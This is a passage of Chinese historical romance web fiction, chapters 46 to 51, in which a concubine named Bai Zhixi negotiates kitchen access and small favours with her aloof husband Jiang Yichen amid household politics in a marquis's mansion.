姜奕辰见她如此专注地为他布菜,像是很认可大厨房手艺的样子,不觉就更倾向于她大概真就顿悟了一边。 他晾了她十几天,敬茶的时候又说了那样的话,她痛定思痛,认清自己该怎样适应新环境和他的喜好,很好。 至少他前头的妻妾都是这样适应的,他应该感到省心才是,可是令他烦躁的是,他竟然有点后悔了,他是不是太严厉了? 就这样,姜奕辰的语气里又多了一丝的歉疚和惋惜:“你家里原就是开食肆的,听说你母亲做庖厨的手艺就很了得,你那手艺也算是家传的了。” “要是荒废了岂不是可惜?其实偶尔动动手也是好的,我这西院儿也不是那等拘泥的地方,你想做也不是不可以。” 这是松动了,还是逗她玩儿呢?只要她一开口说她手痒,就是想去厨房,他会不会又直接拒绝? 第46章她的特别之处 柏芷兮略微想了想,就算姜奕辰要松口了,她也不能就这么直愣愣地问出口,这就显得太上杆子了,她得再矜持一下。 这种时候她还不能表现得太精明,不然他就算答应了,事后也会觉得她心机深沉、筹划多日奸计得逞,还是得再装一装傻才行: “听夫人说,爷还会给古琴调弦矫音?还说爷对乐曲的鉴赏不亚于那几位精通此道的雅客?那么爷可会时常用这些本事,尤其是到人前去显摆呢?” “自然不会,不瞒你,我也很多年未曾调弦了。”这个问题姜奕辰没怎么想就回答了。 柏芷兮见他的话入了套,立刻就道:“这就对了,会不意味着要去做。妾初来乍到,这么多双眼睛都盯着呢,要是日日往厨房里钻,白白让人家看了笑话去。” “人家会说了,爷这不是纳了个妾室进门,这是纳了厨娘呢。爷这身上用的是府里特殊调制的熏香,要是妾一身的油烟气,那可就要坏了爷的这身香了。” “是么?没让你设小厨房,你这是委屈上了,跟我赌气呢?还是说你肯去大厨房借灶,就不是为了满足口腹之欲了?” “你不用瞒着,回来的路上,安姑姑都已经告诉我了,你拿什么做的扁食讨好了我母亲,怎么这时候又肯下厨了?” 姜奕辰就不是那等受气的性子,很快就找到了柏芷兮话里的破绽。 不管这是什么扁食,就算是拿什么珍稀的东西做的,她都已经做给徐氏吃了,多做一碗给他尝尝就不行了? 柏芷兮终于露出了点惊慌的神色,只是她并没有别的妾室那等下跪求饶的举动,而是将给他挑了刺的鱼肉放到他面前,又顺势坐在了他旁边,拿起了筷子。 姜奕辰头一次发现原来女人喂他们的丈夫吃菜能喂出这种感觉,他刚想说她怎么一点分寸都没有,就见她那纤纤玉手抓着筷子在那鱼肉上轻刮了两下,夹起一小块挑到松散了的鱼肉,之后递到他嘴边。 姜奕辰事后想想,一直怀疑他是不是疯了,或是得了什么奇怪的疾病,怎么就没有呵斥她,而真就将这块鱼肉吃了下去。 鱼肉一入口,他就连表情都缓下来了,这一刻他感觉到自己的耳膜都好像胀了起来,周围的声音都变得模糊了。 柏芷兮巧笑嫣然地把鱼肉送到他嘴里,还细心地用帕子为他沾了沾嘴角: “去大厨房借灶,那是因为妾实在嘴馋,想吃辛辣的菜色。可是夫人这边的小厨房向来不做辣菜,夫人又在调理身子,是不能进了辛辣之物的。” “可这辣菜不仅做的时候能闻到味道,很是呛鼻子,就连用过的锅具上沾染了,都要有那么两三天余味难消,妾哪儿还能管她借?” “这不,就只能去大厨房借地方了不是?好在那儿的姐姐妹妹门都很和善,帮了妾不少忙,妾这几天可算是缓过来了。” “像是妾这样的小人物,不像陶姑娘那样有个正经、可靠的营生,不去忙这些小事,还能忙什么?” 西院儿只有柏兰姵一人有小厨房,她吃不了辣菜,也不会备着辣椒和那些个香料,就是她事先请示了柏兰姵,要么就会让她忍着别吃、别做,要么一样会把她打发到大厨房来。 大厨房不仅不缺菜肉、香料和灶火,就是锅具也富余很多,要是打点得好,完全可以单独给她几口做辛辣的食物用,其实去大厨房,除了远了点儿,真还就是没的说的。 不过大厨房的人员有多复杂,各个房头都是在里面通着人的,她刚入府,什么都把握不好,又没有真正的靠山可以依靠,就是银钱也没多少,让她一来就去那种地方打点、周全,也的确难为了她了。 姜奕辰刚才吃了柏芷兮喂过来的一口鱼肉,只觉得那肉不是喂到他的肚子里去,而是喂到他的心里去了,心底里竟然一时间开始有了那么几丝愧疚。 他那日不应主要还是因为她是个揽月苑出来的新人,他摸不透她的性子和行事做派,想要多试探一番。 他记得当他得知她给姜士明设计了那么些个可供识字、辨识事物特征的木偶时,他是想要松口的,可是不知怎么的,他就是想看到那张明媚的脸庞上露出挫败吃瘪的表情。 他不得不承认,柏芷兮跟他想像得很不一样,揽月苑出来的女子该是温柔似水的,处处以夫为天。 可是她呢,面上乖觉,可骨子里是有骨气在的,尽管她装的很好,但其实她会用各种方式达到她的目的。 即便她很渺小,能用的手段不多,即便通往她目标的路很漫长,哪怕水滴石穿,哪怕她是爬着一步步前行的,她也总会达到她的目的。 她不像柏兰姵和姚初蕊,刨除出身不谈,她们两个想要做什么都会直接提出来,即便他不允了,之后她们也会命令下人去做。 等到做好了,木已成舟了,她们再去徐氏或是他大嫂子世子夫人葛氏那儿讨个话,把她们做了的事过了明路。 这也是内宅女人最常用的手段和一贯的行事做派,可是柏芷兮不会,她会用一种极其柔软地方式将阻拦她前行的那扇门、那把锁给熔了,让那些之前不同意她这样做的人点了头放她过去,之后说不定她还会把门和锁熔了的铁水收集起来,做成对她有用的东西。 可是这些女子一旦失望,一旦发现事情不如她们所愿了,很快便会心生怨怼甚至咒骂出声。 但柏芷兮呢?别说咒骂了,她说话连大点儿声的时候都没有,更不要说撒泼发混了,她永远都是那副温温柔柔的样子。 姜奕辰打理定安侯府的庶务,必须经常跟商贾往来,不是没有接触过书寓出身的女子,就是那些个已经出来见了人的花魁,他也不是没近过身。 可是这些女子一旦失望,一旦发现事情不如她们所愿了,很快便会心生怨怼甚至咒骂出声。 但柏芷兮呢?别说咒骂了,她说话连大点儿声的时候都没有,更不要说撒泼发混了,她永远都是那副温温柔柔的样子。 第47章 她有心机么? “没有啊,他们为什么要为难我?我是爷的妾室,不看僧面看佛面,他们关照我还来不及呢。要说说起话来有时候声音是大了点儿,可是爷也知道,庖厨也是手艺人。” “手艺人之间有些看法不一样,想要探讨一下,说着说着声音就高了,这也不能说他们就是在欺负妾吧?” “他们是侯府的仆役,说话再大声也是轻的。妾是爷的人,虽不敢说自己就是主子了,可妾的话总比他们的重,至少在他们看来是这样的,那么妾又何必高声说话呢?” 柏芷兮水亮的大眼睛眨了眨,神态、语气再是温柔不过了,仿佛她只是在说声音大不大的问题,她只是胆小还温柔贤惠的内宅妇人,真的没有别的意思。 她转而又道,“侯夫人的那碗扁食么,其实是一个误会。那扁食不是为侯夫人做的,细说起来那是妾为自己做的。妾为了能在大厨房里借上一间屋子,这就当作是交租子了。” “妾想着这种事儿不能逾矩,以妾的身份,进门还不足一月,要是直接做了吃食给侯夫人,想必要被人说是使尽了手段想要,就想着谢谢那夏姑姑,索性将家传的鱼皮饺方子和手艺教了她。” “这样侯夫人什么时候想吃了,自有她用惯了的庖厨为她做了吃,便易还放心。” 听起来她倒只是个大方、守礼的,要说揽月苑教得好,倒也说得通。 不过姜奕辰还是觉得她这么做有些太大方了,对于侯府来说这方子不算什么,即便没有,徐氏只是少了口吃食,过些日子有别的好吃的进上来了也就罢了,又不是非盯着这一样吃。 可这东西对于柏芷兮来说怎么也算得上一个贵重的物件吧?她就没想过将来用这方子换些银钱傍身,或是传给她的子女? 虽说将来柏芷兮若是有了子女,真要记到柏兰姵名下的话,这孩子多半是看不上这种东西的,可她给了多少也是个心意吧。 就好比那等穷苦人家的子女有了好前程了,做爹娘的真就能一点家当都不留给他们了?哪怕是几吊钱、一个素银的戒指都要留给他们做个念想的。 尤其柏芷兮毕竟是一个内宅女眷,她是良家女不假,可她出身揽月苑,她从小便是奔着做高门妾室这条路来的,不管她自己是否情愿,她学的一切就是这条路上的东西。即便是学了跟别人一样的琴棋书画、读了一样的书,目的也是不一样的。 姜奕辰不是那等没见过世面的世家公子,他在这些个公子里算是洁身自好的,可这并不意味着他见识过那些个事儿。 他自己的后院儿也还算清静,可这侯府里却并不是,就看世子姜奕德和他父亲姜定武的那些个妾室,没一个是省油的灯。 姜奕辰想到这些,刚才萌发出的那点温柔小意一下子去了大半儿,他语气淡然地试探道: “你就这么舍出了一个祖传的方子,不心疼?怎么说也是你家里传下来的东西,这么不珍惜?” “用一道祖传的方子,换了大厨房的一间房,还只能用一年,倒是我那日没给你小厨房的罪过了。” 柏芷兮像是没听懂他话里的意思似的,动了动手给自己扇了两下风,自己端起一小碗白粥当作茶来吃,嘴里含含糊糊地解释道: “不可惜,真的不可惜,爹娘把这方子留给了妾,便是想让妾过得好的。妾要是连吃的都不合口味了,成日里吃不香睡着的,连做事都没心思了,他们也不会安心。” “这方子就当作是换他们一个安心了,再说了,这方子夏姑姑用得,妾也用得,又不是说给出去就没有了。侯夫人也就是吃个新鲜,过些日子大概就忘了这口了。” “夏姑姑会做那么多的好菜好饭,过上几年说不准都忘了这么回事了,妾又何必当回事儿呢。” 侯府里出的这些个菜要是离了府是不能光明正大的做的,要是自己和自己家亲戚想吃了做一做那倒是没什么,但要想出去开食肆、酒肆,拿去赚银子,没有主家允许是不能的。 就算以后没这规矩了,或是定安侯府允了,夏姑姑在几个高门主家做过事儿,会的名菜少说也有几十道了。这些个主厨将来开食肆也是想依托着昔日主家的名声,开的都是大的,哪里就看得上这么一道小食了? 就算看得上,或是这夏姑姑将来沦落了,手里攒的那点儿银子都败光了,也要开个小食摊,开就开吧,这年头规模小了,做什么都做不大。 前世的时候柏芷兮嫁给了武凤之做妾,因着武凤之那时没有正妻,武家家境贫寒,武凤之虽然才学出众,可科考的结果总是有变数的,也不知道他还要读多久、考几年才能出头。 武家家资耗尽,武凤之不肯卖字画为生,说是那样便坠了文人风骨了,便闹着她出来摆了个食摊。 她当时就做过这鱼皮饺,倒是有好些人喜欢吃,可到底也就是一道扁食,到最后也没闯出什么大名堂了,不过是给武凤之凑了些路费而已。 就算是当年她爹娘都在、自家食肆在当地已然不算小了的情况下,也不是靠这鱼皮饺闯出名堂的。 要是夏姑姑或是大厨房里的谁将来自己拿到外面去卖了,也没什么,不过是多了一家抢生意而已,这天下又有几家食肆的菜品是真正独一无二的?不过你抢了我的,我再占了你的,互相比较、竞争中求得精进罢了。 姜奕辰场面上扑腾惯了的人,听了这番话很快就醒过味儿来,这世上有很多事儿最大的问题就是你太把它当回事儿了。 他不得不承认柏芷兮是个通透的人,她这方子给出去,过上十几年甚至更久,可能就又变回她一个人的方子了。 有他在,有定安侯府在,夏姑姑就算将来出去了要用这食方,也不好白用,更是不敢不承认这食方的出处,那又何必在眼下计较这么多呢? 第48章 吃了吗?没吃! 柏芷兮才进门,府里上上下下不少人都在议论她的出身、观察她的言行举止,她要么就不再去打厨房的主意,要是去要了,还不愿意舍了东西出去,只会被人说她小家子气还不体面。 这府里的女眷要么出自高门、官家,要么也是正经的良家,最差也是个家生子,偏生她顶着一个良家的皮,骨子里却是个瘦马。 这些个女眷未必就知道揽月苑出来的女子是怎样的,她们想像中的柏芷兮骨子里跟那些楼子里出来的花娘没有多大区别,她要是闹起来了,反倒是坐实了这一点,以后她在这后宅里只会更难。 反倒是她大大方方地把这价码甩出去,让别人看到她出身不好又怎样,跟她打交道、帮了她的忙是有来有往、有商有量、互惠互利的。 人家帮了她,不仅她给了人家好处了,还让人家在徐氏面前得了脸面和赏赐了。 她这么做还像大厨房底下的那些小的释放了一种暗示,她手里还有方子,而且她是四房的妾室,以后是不指望着这些手艺糊口的,只要能帮上她,让她高兴了,她都可以教他们。 这些东西在她手里就是点家藏,算是压箱底的东西,这辈子要是过得好,这些都是用不上的,而对于他们那些人来说,学去了可就成了养家糊口的看家本事了。 以后不仅是在大厨房,只要他不是真的恶了她,就是在这府里别的地方,那些个底下的人也得先想想能不能从她身上得到好处,再考虑该怎么对待她。 “倒是个聪明的。” 姜奕辰哼笑了一声,眼底的颜色却更深了,“真的不后悔,也不怨我?” “不啊。”柏芷兮露出“你怎么会这么想”的表情, “就算不是因为小厨房,以后也会因为别的事儿给出去的。爷您想,要是大厨房不肯借这间房给妾,妾要是以后自己想吃这口儿了,是不是也得把食方给别人,让别人替妾去做?” “怨您?就更谈不上了,说句丧气话您别不爱听,妾这一辈子就这样了,怎么着也就是在自己的小院儿里过一辈子了。那些食方在妾这儿,不过就是几张还值几个钱的纸罢了。” “倒不如散出去给别人用,妾还能得些实惠,这些个人里万一有哪个将来出息了,说不定还能把方家食坊的名声传扬出去呢,也算妾尽了孝心了。” 不是她豁达,这是事实,这世上有很多人就是那样无声无息地生再之后无声无息地离开的,不是每一种传承都能继续下去。 像柏芷兮这样的,即便她将来生的孩子有在自己名下养大的,等到孩子大了,有定安侯府这样的父族出身做依靠,他们还能承认自己的亲外祖父、外祖母生前仅仅是方家食坊的主人么? 她的孩子无论养在谁名下,很多年之后他们的外祖父和外祖母只是她的养父母柏大人和柏夫人,跟姓方的早就没有关系了。 倒不如传给别人,要是哪个将来真在外面开了大食肆了,有哪位食客问起那些菜品的来历,还能有人说道几句。 姜奕辰从出生到现在虽然在府里受了不少他那偏心眼儿的爹和那见不得他好的长兄的气,可他从来没有担心过家族传承的问题。 这会儿听了柏芷兮这番感慨,陡然生出一种悲凉之感,偏偏她说起这些事儿时是那般的云淡风轻,整个人沐在外面照进来的阳光下,看起来是那样的明媚而富有朝气。 柏芷兮显然不是那等烟视媚行之辈,也不是她自己主动入的揽月苑,她是父母双亡、家道中落又意外被人卖进去的,她身不由主。 这样的人一般身上都带着一股子哀怨之气,让他这样的人看了,虽有同情,却不会亲近。 因为像他这样的侯门公子,是没有必要去跟她们这样的女人来感同身受那一套的,送到他身边的都得是好的,都得是能让他高兴的。 偏偏柏芷兮的这种情绪不能算是哀怨,只能算是一种淡淡地忧伤,这种忧伤能淡到什么程度?反正比姚初蕊抱怨他不去她那儿歇息还要淡。 姜奕辰心里刚刚消散了的那大半柔情暖意就在这一瞬间又回来了,他自己都没察觉到他的声音变得柔和起来,就像在呵护一只他救下的心爱小兽: “你借到了厨房,都做什么好吃的了?可有给……夫人尝尝?” 柏芷兮揣测着他的心思,这个男人一阵儿风一阵儿雨,她刚才一度感觉到了他态度里的冷淡,是硬撑着才装作没有察觉到的。 好在她把话说到他心坎儿里去了,再他没跟她较真的时候把这股子怒气撒她身上……她在想着这时候她该怎么说,才能让他不至于不高兴。 她亲手做的吃食,自己人吃可以,底下人吃也可以,像柏兰姵这样的她还犯不着送上去被人找准了机会害她。 也不是说一辈子都不送过去,那也不可能,但至少在她能把这些个环节里涉及的人都把握好了之后再说。 但是她不能把她的这种担忧说出来,这就等于在说,这府里尤其是西院儿有人等着给她使坏还能成事儿似的。 这么一说可就是在指责柏兰姵管家不严了,更是把他姜奕辰的尊严置于何地啊……她已经看出来了,这个男人只能顺毛撸。 柏芷兮定了定神儿,目光特别清白地看向了他: “不是什么好吃的,都是些粗浅的吃食,比如肉干、干饼什么的。夫人胃口不好,得吃软烂、容易克化的,妾做的这些不适合夫人。” 别的妾室、通房自己做了好吃的都恨不得赶紧让夫主和主母尝尝,而且一般都是根据夫主和主母的喜好做的,她这还真是给她自己的做的啊。 就算是给她自己做的,她怎么就爱吃肉干和干饼了?不对,应该又是哪儿来的特殊的食方,一定不是他理解的肉干和干饼。 姜奕辰心底里不觉竟有了期待,他的喉间甚至下意识地吞咽了一下: “肉干和干饼都是能存得住的,爷想吃了,你该不会告诉爷都吃完了吧?” 第49章 他与狗争食? 柏芷兮没想到姜奕辰能纡尊降贵到连肉干和干饼都肯吃,她其实还做了炒米,那些个东西她做好之后都用坛子封了起来,埋在小院儿后面的树底下了。 她不想拿出来,她初次说要小厨房的时候,他明显是没把她说的当回事儿的,现在提起那碗扁食,他也不过是当个玩意儿,内心里一定是看不上的。 如果她说还有,再给他尝上一些,他万一说不好吃,还觉得她藏了这些东西在暗指他会饿着她,一怒之下,把那些东西都挖出来都扔了,连狗都不肯喂,可就都白费了。 这些日子以来,她手上那几两银子都花得差不多了,如今只剩下不到一吊钱,那些个银子都用在了上下打点和买食材、换香料做这些吃食上了。 柏芷兮有时候也会想,或许她根本就不会有被关起来没饭吃的那一天,或许根本不用做这些准备,尤其这些个东西每年都是要更换上一次的,对她来说是一笔不小的开销。 可是她忘不了小时候在人伢子手里三天才喝到一碗米汤还有在揽月苑时犯错受罚连着一个月每日都只能吃上半碗饭的日子,她再也不想挨饿了。 有这些吃食埋在树下,她睡觉都能安心许多,这可比姜奕辰在她身边安心多了! 何况这些吃食也不全是她的,冬暖没有帮忙做,但是她也帮着装坛、挖土掩埋了,她可不能让姜奕辰把冬暖的那份也毁了! 柏芷兮紧皱着眉头,很是为难地抬头看着姜奕辰,恨不得挤出两行泪来: “本来就做得不多……爷也知道,妾从大厨房买食材和香料,多过一到手,都是加了钱的,就做了那么一点点。” 她用双手一比,比了个托盘大小的形状,“吃了一半儿,原本还剩下一半儿,烘干之后还要晾晒,没留意被大黄都吃掉了。” “爷,这真的不能怪妾身和冬暖,妾不知道府上有狗,还是……” 府上的确有一只大黄狗,胖嘟嘟的还少有的是个长毛,是姜定武的一个好友从北疆带回来送给他的。 大黄仗着主人是府里最大的主子,经常到处闲逛,不过它除了贪吃,性子很好,还很通人性,平时吃了谁的什么倒也没人跟它计较。 “大黄?这还真不巧了。” 姜奕辰不是不信,大黄的确有可能吃了一些,可要说全吃了却不大可能,大黄可没那么饿。 况且她是在大厨房后面的场院晾晒的,那里平日里也晾晒着其他的干货,有专人看着,就算一时疏忽让大黄吃了几口,也不可能一点都没剩下, “当日是哪个粗心的婆子当值?竟然都让大黄给吃了,一口都没剩?” 当然没有都吃掉,事实上大黄溜进大厨房场院这事儿是真的,也的确吃了几口晾晒的东西,但那些东西不是柏芷兮的,是一个婆子晒的熬粥用的咸骨。 只是当时场面有些混乱,几个仆妇冲过来想将大黄带出去,一时间大黄还撞翻了几个晾晒的架子,玩闹似的这个闻闻、那个咬一口的,也不知道吃了谁的东西。 等到把大黄牵住了,她倒是主动拿了几根没有加香料的肉干喂给了大黄,以至于那几个仆妇见了便以为大黄之前也吃了她的东西,以至于把东西都撞到了地上,不拿来喂大黄也可惜了。 所以她这么说没什么问题,就算姜奕辰让人去问,也会得到差不多的答案。 柏芷兮委屈巴巴地看着姜奕辰,因为怕他生气目光躲闪了几回: “倒不是一口没剩,可是大黄沾过嘴的东西,就都送给大黄了。爷是谦谦君子,总不会跟侯爷的狗抢……”对吧。 这些话太过有画面感,一时间姜奕辰眼前真出现了一个小儿去跟大黄抢食的情景,他脸上瞬间青一阵儿白一阵儿的变化。 因为这情景不是他凭空想像出来的,而是柏芷兮的话勾起了他儿时的记忆,他年幼时的确曾经跟一条大狗抢食! 只是那时他少不更事,只有两岁半!而那条狗还不是大黄,是猎苑门房养的一条大黑狗。 这件事在他十岁以前反复被家中长辈和兄弟提起,说是那日姜定武在猎苑招待好友,烤了全羊、熬了羊汤,姜定武命人将烤得最外焦里嫩的一条羊腿放到了他最偏心的儿子姜奕德面前。 而他气不过,趁着姜奕德来回谦让装模做做样地表现着要把羊腿还给姜定武或是拿去招待那位世伯的时候,比桌案高不了多少的他冲了上去,从姜奕德面前的矮几上连烤架带羊腿地抢了去,撒腿就跑。 他人小,自是没人跟他较真,身后响起哄堂大笑,一溜的下人在后面追着“四公子别摔了”地追了出去。 结果他人小,猎苑到处是树和高草,他往里一钻一时间这些人竟然都没能找到他,也就是在一片被树木围着的空地上,他遇见了“大黑”。 “大黑”才不管他是不是小主人,倒也不伤人,上去先友好地嗅了嗅他,之后猛地一转头将他手里的羊腿抢了去。 他也不是个弱的、软的,正是初生牛犊不怕大狗的年纪,扑上去就跟“大黑”达成一团…… 就这样当后面的下人们追上来时就看到“大黑”咬着羊腿的一头,他则边使出吃奶地劲儿用拔河的姿势整个身子向后坐着拽着另一头,边不服气地在羊腿上用力地咬了一大口。 那件事之后姜奕德就经常在背后跟人调侃他,说他小时候就与狗争食,长大了也是个能争、有心计的! 姜奕辰的表情很反常,柏芷兮很快就察觉到了不对,可是她万万想不到他此刻心里真正的所思所想。 但她感到不对了,就只能不管是什么原因,都先安抚为上,“爷要是想吃,要不妾再去跟夏姑姑说说,她最熟悉侯夫人和爷的口味了,食方交给她改良,想必做出来更和爷的口味……” 姜奕辰垂眸看着柏芷兮这张娇艳、白净的脸,一大早还未来得及施以粉黛,看起来特别的温柔小意、纯净纯善……她刚才那么说是故意的吗? 第50章 男人的小心思 柏芷兮的目光跟姜奕辰对视着,看来她是触到了姜奕辰的逆鳞了,要紧的是她不清楚究竟触到了那片逆鳞。 好在揽月苑的萧大娘子曾经教过这种情况下该如何应对,在不明情况的时候,要极力让自己显得清白无辜,让对方觉得她真的什么都不知道才行。 这里的关键是,上位者总是疑心重重的,他们不会轻易相信你不知道,尤其是在你不知道你究竟做错了什么的时候,你可能会因为慌乱和胡乱猜测让他们误以为你明知故犯。 柏芷兮默默地凝神静气,极力将脑子里的所有想法都停下来,甚至把存在里面的记忆和情绪也极力清空了,有那么一会儿她感到自己就像一张白纸一样,浑身上下清静无尘,什么都没有了。 姜奕辰眼中波澜变幻,却只在柏芷兮眼中看到了一汪清可见底的清泉,他在她的眼中看不到作伪,看不到戏谑,更是看不到厌恶和恶意…… 柏芷兮的眼神儿就像一只刚刚出壳的小鸟,单纯而闪着晶亮的光,似乎一点都没有被世俗浸染。 其实事后想想,柏芷兮自己都觉察到戏过了,好在姜奕辰是个男人,还是个在外面颇有能耐的男人,他很快就选择了相信他眼前的女人是一个单纯无依的人。 别看柏芷兮是在揽月苑长大的,可揽月苑跟那些个楼子不一样,那地方比较封闭,他曾听人说过里面的姑娘每日里不是学艺就是做女红,很少有机会跟外面的人接触。 以致于这里面的女子,你说她事故吧也事故,说她单纯也单纯,就算有些小心思,也很容易会被他们这样的人看透。 要么怎么说揽月苑的瘦马是最适合做妾室的呢?纳妾纳色,柔媚而娇,惯会服侍人,可不会不好控制。 姜奕辰放下心来,他迅速地扫除了神情里的尴尬,只是心里到底是不能完全过去的。 尤其是她竟然还要让夏姑姑做给他吃,而不是她自己亲自动手,还美其名曰夏姑姑手艺更好、更了解他的口味。 “罢了,一口吃食而已,犯不着花那么多心力。” 姜奕辰的语气很平淡,仿佛他当真一点儿都不在意,仍然是那个不看重口腹之欲的四房家主。 他自己心里清楚,倒也不是一点都不想试试她的手艺的,只是她那样说了,他再开口要也就成了讨要,就没意思了。 他瞬间觉得意趣全无,不想再自讨没趣儿,只是越是这种时候,他越是想反过来让她没趣儿, “敬茶的时候许给你的赏赐还没有兑现,想了好些时日,可想好要什么了?难不成还想要小厨房?” 去大厨房借地方,虽说夏姑姑已经答应下来,可进进出出的,还要通过他们购置食材、香料,就是柴禾、炭火多用一点也要打点。 有了小厨房,她就可以单开一灶,采买也是跟着他们四房走的,她好歹算是半个主子,能少许多打点上的花费。尤其若是他或是柏兰姵发了话,这一块儿的开销还能更少。 姜奕辰想的是,柏芷兮手头无银只能到处扣扣索索地节省,一定不会拒绝。 况且这短短几日便让他吐口答应了,证明她是得了宠的,很能让她挣上几分体面,她没有理由拒绝才对。 等到柏芷兮答应了,他再直截了当地拒绝,她一定又会露出那种碎裂的表情,那感觉就像一个晶莹剔透的琉璃盏陡然间碎了一地,就像上回一样。 姜奕辰自己都纳闷,他怎么会有这样的恶趣味,大概是因为她没顺了他的意吧,他就想要看到她从满怀希望到沮丧、难过的那种充满破碎的过程,这是他在面对其他妻妾时不曾有过的感觉。 “不,不要小厨房了,爷不喜欢西院儿里有太多油烟味儿,那就不要了,妾不想让爷为难。” 柏芷兮眨了一下她水汪汪的明眸,长长地剪羽像两片蝶翼一样向下一扇,真正诠释了什么叫做明眸善睐。 她之前就想过了,万一姜奕辰转头又答应了,她在大厨房那边做的会不会就成了无用功。 反复思量之后,她还是觉得即便姜奕辰又要给她了,她也不能接。 在大厨房那边上下应酬的确要多花不少银子,可这银子只要她把答应卖个一品居的酱料送出去了,就能收回来。 在西院儿这边,有姚初蕊盯着她,还有柏兰姵不时地考校她,现在又多了一个姜奕辰说不定什么时候就想尝鲜了……这些人有一个算一个地都算上,可能出的岔子更多。 再说了,大厨房那边她好不容易打进去了,才这么几日就又说不要了,显得她是一个三分热度、兴头来得快去得也快的人,难免会让人觉得她反复无常。 尤其是她的反复完全来自于姜奕辰的一句话和一时的宠爱,会让那些人觉得她以后说了什么、做了什么也可能随时会变,以后谁还轻易敢帮着她做事? 揽月苑行为守则上说过,这种时候要顾全大局,做了妾,行事也不能全然小家子气,得讲信誉,尤其不能看对方是下人就不讲信誉了。 相反的,对方越是下人,她越得把对方当人看。 夫人、贵妾把下人只当作下人,很多事儿说了又变了,这些人也轻易不敢反抗,可是她不一样。 别看她现在是良籍,可她是脱贱入良,也就是说她入揽月苑的时候曾经是奴籍,是出来的时候才赎身变成的良籍。 她们这样的人户籍虽然改了,可在那些下人眼里她们身上依旧有奴籍的影子,甚至他们心底里还会觉得她们比自己更低贱。 就算平常不敢有这种想法,受了委屈了他们也会想这个妾室从根骨上算分明跟他们是一样的,都不用往上数三代,就是往上数几年,都一样是奴才秧子,她们凭什么高人一等还欺负他们? 更何况她虽有家传的手艺,在揽月苑时也时常涉猎,可毕竟不是专门的庖厨,在很多手艺和功夫上她有很多可以通过夏姑姑他们学习。 所以柏芷兮在下定决心进入大厨房的那一刻起,就没想着轻易反悔,这才定下了一年之期。 第51章 纳了个傻妾 现在姜奕辰看似要松口了,谁知道他哪天一个不高兴,会不会让人把刚建起来的小厨房给扒了? 而且她现在还发现了在大厨房的一重好处,大厨房每天都有采买和倒泔水的人进出,她使些银子就能将她做好的酱料给一心居的掌柜送过去。 要是在西院儿设了小厨房,有这么多人盯着,她反而不好把东西送出去……她就算还要这小厨房,怎么也得过上一年。 要是在一年之内姜奕辰非要给她不可的话,大厨房那边也不能轻易撤了,她得借着那间屋子跟那儿的人再熟稔些才好。这样将来即使那间房没了,也有人继续帮着她做事。 柏芷兮特别真挚而诚恳地看着姜奕辰的眼睛,喏喏地道:“妾不要了,大厨房的姑姑、姐妹们都很好,妾没事儿的时候也可以跟她们说说话。” “要是哪天大厨房那边不能收留妾了,爷再替妾遮风避雨,妾一定感激涕零,为您做什么都可以。” 这丝萝一样的柔顺性子一显露出来,仿佛刚才感受到的那点小骨气都是他的错觉,姜奕辰垂着眼,淡淡地问道: “既然许了你,不要小厨房了,可还要别的?” 柏芷兮想了想,有了个主意:“妾还羡慕陶姑娘,她活得潇洒,还能帮得上府里。妾不敢说自己比的上他,但可不可以求爷一个恩典?” “妾亲生的爹娘有一世交叔伯来了南安都定居,小时候他家对妾甚好,如今妾也想对他们尽到一些子侄的孝心。” “妾不要别的,只想着每个月能不能出府一趟探望长辈?每个月一次或许多了,三个月一次也成。” 柏芷兮再次用期待的眼神看着姜奕辰,姜奕辰站起身,却用看傻子一样居高临下地看着她,边用一旁温着的湿布巾擦了手边道: “穷在闹市无人问,富在深山有远亲,你在揽月苑时,如此厚待你的长辈为何不来关照你,如今来了,你倒是主动送上门去了。” “这么多年没有音信,你知道他家有几口人,都是做什么的,是好是歹,会不会对你别有用心?眼巴巴地贴上去,你倒是愿意了,爷丢不起这个脸。” 姜奕辰扔下布巾没等柏芷兮行礼就大步流星地走了,这叫什么事儿,刚还说她挺聪明的,跟后宅那些女人不一样。 现在看来是挺不一样的,遇上一个“吃”字比谁都伶俐,别的事儿上就是个傻子……呵,要是把笑话闹到外面去了,外面的人还不得都说他纳了个傻妾! 在苦水里泡着的时候没人管,现在倒是眼巴巴地去给人家送富贵去了,他常跟商贾和他们铺子里的伙计打交道,知道有些家庭的女儿就是这样被家里吃干抹净的。 小时候家里也就是给口齿的,长大些能摸着灶台的边儿了就开始干活、做工,挣了钱了都给家里,自己想在街上的食摊吃碗面想加两片肉都得掂量着要不要,婚嫁时再给家里换一笔聘礼。 到头来她们还要体贴地说服为她们抱不平的外人,说她们的父母也不容易,自己为这个家做了这么多都是应当应分的,一点都不后悔,然后再把自己感动得稀里哗啦的。 要姜奕辰说,这就是有病,没想到柏芷兮比这种人更甚,那些人好歹愚孝的是自己的亲生父母,她这要孝顺的可是八竿子才能打到的人。 再说了,这“叔伯”想来也上了岁数了,不会是一个人迁到南安都定居的,定是一大家子拖家带口来的,这里面一定有年轻的子侄。 她去看望这一大家,又不是真正的血亲,被那些“表哥”、“义兄”的缠上,她的名节还要不要了?不是说说揽月苑专出妾室么,怎么连这点警惕都没有? 当然了,柏芷兮还没有真的这样做,可是有这样的苗头也不行……傻,太傻了,她这么傻,将来生出来的孩子会不会蠢钝如猪。 猪……那也是一头貌美如花的猪,呸,他想什么呢? 她对不管她死活的“叔伯”都这么好,对他呢,连亲手下厨做顿饭都不肯,让他心底里的怒气一时间嘭的一下就饱胀起来。 刚刚还想着她提出了新的要求,他再一次拒绝,还能看看她吃瘪的样子笑两日,现在……还笑,有什么好笑的? 姜奕辰风一样地走了,芷春居院子里和门口等着好几个他身边的服侍他的人,他这一走,这些人呼啦啦地走了,整个芷春居像被一阵狂风袭爵了一样。 门外等着的康安大睁着铜铃大的眼睛对着柏芷兮扯动两边嘴角挤出不能再尴尬的笑,跟着姜奕辰的脚后跟就去了。 刚才他们二人在厅里用早饭,这个距离康安定是能听到他们说了什么的,这幅表情显然是没想到好好的一顿饭能被他们吃成这样。 见众人走了,冬暖赶忙冲进来收拾桌子,边收拾边苦着脸说道:“小娘,爷问你要什么,你管他要个值钱的物件就行了,弄那么复杂做什么?” “小娘两次提了要求,爷两次都没答应,这第三次再不答应,这一院子的人……不,是全府的人都得把咱们看扁了。” “还有什么‘叔伯’啊,小娘以前怎么没有提起过?奴婢这回跟爷站一边,真要有那样的人,当初没去赎你,现在就该踹得远远的才好。” “嘘,小声点儿,是你忘了……” 柏芷兮压低了声音提醒着,同时探着头往门口和窗边看了看,还好秋寒那丫头不在。 